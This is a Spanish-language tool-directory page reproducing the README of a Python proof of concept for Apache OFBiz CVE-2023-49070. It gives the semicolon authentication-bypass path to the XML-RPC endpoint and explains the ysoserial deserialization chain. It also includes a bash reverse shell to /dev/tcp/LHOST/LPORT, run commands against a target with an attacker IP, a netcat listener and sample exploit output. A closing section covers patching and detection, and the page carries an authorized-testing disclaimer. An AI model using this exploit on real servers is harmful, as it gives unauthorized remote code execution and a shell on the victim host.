Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-49070 — PoC en Python para Apache OFBiz CVE-2023-49070: bypass de autenticación en /webtools/control/xmlrpc más cadena de gadgets de ysoserial para lograr RCE por deserialización pre-autenticación. | Kitploit
Herramientas/GitHubGitHub/bardlaudian/cve-2023-49070
Herramientas DefensivasGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

PoC en Python para Apache OFBiz CVE-2023-49070: bypass de autenticación en /webtools/control/xmlrpc más cadena de gadgets de ysoserial para lograr RCE por deserialización pre-autenticación.

1hace 10h 52mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver RepositorioSitio web
Compartir

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC para el RCE por deserialización pre-auth en XML-RPC de Apache OFBiz, registrado como CVE-2023-49070: una ruta de omisión de autenticación desbloquea el endpoint heredado /webtools/control/xmlrpc, que deserializa un objeto Java controlado por el atacante introducido dentro de un parámetro <serializable> de XML-RPC.

⚠️ Solo para pruebas de seguridad autorizadas. Ejecuta esto únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba (entornos CTF/laboratorio, encargos con alcance firmado, etc.). El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.

Vulnerabilidad

La autenticación de view-map de Apache OFBiz normalmente protege /webtools/control/xmlrpc. Las versiones afectadas (< 18.12.10) pueden ser engañadas para omitir esa comprobación añadiendo un punto y coma más parámetros de consulta específicos a la ruta:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Una vez accesible, el endpoint acepta peticiones XML-RPC. La implementación Java de Apache XML-RPC admite un tipo de extensión <serializable>: el contenido del elemento se decodifica en base64 y se pasa directamente a — la clásica deserialización insegura de Java. Con una cadena de gadgets adecuada en el classpath (este PoC usa a través de por defecto), eso se traduce directamente en ejecución remota de comandos como el usuario del sistema operativo que ejecuta OFBiz.

ObjectInputStream.readObject()
CommonsBeanutils1
ysoserial

Esta es la misma familia de fallos que los anteriores CVE de deserialización XML-RPC de OFBiz (por ejemplo, el hermano de omisión de autenticación de CVE-2023-51467); OFBiz ha tenido un patrón recurrente de pares de omisión de autenticación + deserialización en este endpoint, así que comprueba el rango exacto de CVE/versión que aplica a tu objetivo antes de confiar en este PoC.

Qué hace este script

  1. Construye una reverse shell bash -i >& /dev/tcp/LHOST/LPORT 0>&1, la codifica en base64 y la envuelve en un one-liner bash -c 'echo ... | base64 -d | bash' (evita la mutilación de metacaracteres del shell más abajo en la cadena de ejecución).
  2. Invoca ysoserial para construir una cadena de gadgets serializada (CommonsBeanutils1 por defecto, configurable) que ejecuta ese one-liner.
  3. Codifica en base64 los bytes del gadget y los envuelve en el payload <serializable> de XML-RPC.
  4. Lo envía por POST a TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Informa del estado HTTP e indica si el cuerpo de la respuesta contiene el marcador de error posterior a la deserialización de OFBiz (No such service) — una señal de que el payload fue procesado, no una prueba de ejecución de código.

Qué NO hace este script

No puede confirmar que obtuviste una shell — OFBiz devuelve un error genérico en cualquier caso una vez que se ejecuta la deserialización (el propio método XML-RPC, Dns, no existe como servicio real). Ten siempre tu listener activo y compruébalo, no solo la salida de consola del script.

Requisitos

  • Python 3.8+, pip install requests --break-system-packages
  • Java (cualquier versión compatible con tu build de ysoserial)
  • ysoserial-all.jar — constrúyelo tú mismo desde frohoff/ysoserial (mvn clean package -DskipTests) o consigue un jar de release. No se incluye aquí — es una herramienta de terceros grande con su propia licencia.

Uso

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Inicia primero un listener:

root@kitploit:~
nc -lvnp 4444

Todas las opciones

FlagPor defectoDescripción
--target(obligatorio)URL base del objetivo, p. ej. https://ofbiz.target.tld
--lhost(obligatorio)IP de tu listener
--lport(obligatorio)Puerto de tu listener
--ysoserialysoserial-all.jarRuta al jar de ysoserial
--gadgetCommonsBeanutils1Cadena de gadgets de ysoserial a usar
--java-binjavaBinario de Java a invocar
--timeout15Tiempo de espera de la petición HTTP (segundos)
--proxy(ninguno)Proxy HTTP(S) opcional, p. ej. para enrutar por Burp

Probar otras cadenas de gadgets

CommonsBeanutils1 es la elección clásica para OFBiz (incluye commons-beanutils en el classpath), pero si no se dispara, las bibliotecas incluidas en OFBiz también admiten otras cadenas. Solo cambia --gadget:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Sesión de ejemplo

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Detección y mitigación (notas defensivas)

  • Aplica el parche a Apache OFBiz 18.12.10 o posterior (o la versión parcheada actual para tu rama) — esto cierra tanto la ruta de omisión de autenticación como refuerza la deserialización en el endpoint XML-RPC.
  • Deshabilita o restringe /webtools/control/xmlrpc si no usas activamente la integración XML-RPC; el componente webtools en general es un objetivo común y no debería estar expuesto a internet sin una razón de peso.
  • Filtra los segmentos de ruta basados en punto y coma en una capa de WAF/reverse-proxy como defensa en profundidad — muchos de los CVE de omisión de autenticación de OFBiz comparten este truco del ; contra el análisis de rutas de servlets Java.
  • Refuerzo de la deserialización: usa un filtro de deserialización con look-ahead (ObjectInputFilter, disponible desde JEP 290 / Java 9+) para bloquear que clases conocidas de cadenas de gadgets lleguen a instanciarse, independientemente de qué endpoint active la deserialización.
  • Monitoriza: POSTs a */control/xmlrpc* que contengan elementos <serializable>, conexiones salientes inesperadas desde el host de OFBiz, y procesos hijos lanzados por el proceso Java que ejecuta OFBiz.

Referencias

  • NVD — CVE-2023-49070
  • Avisos de seguridad de Apache OFBiz
  • ysoserial

Licencia

MIT — consulta LICENSE.

Descargar herramienta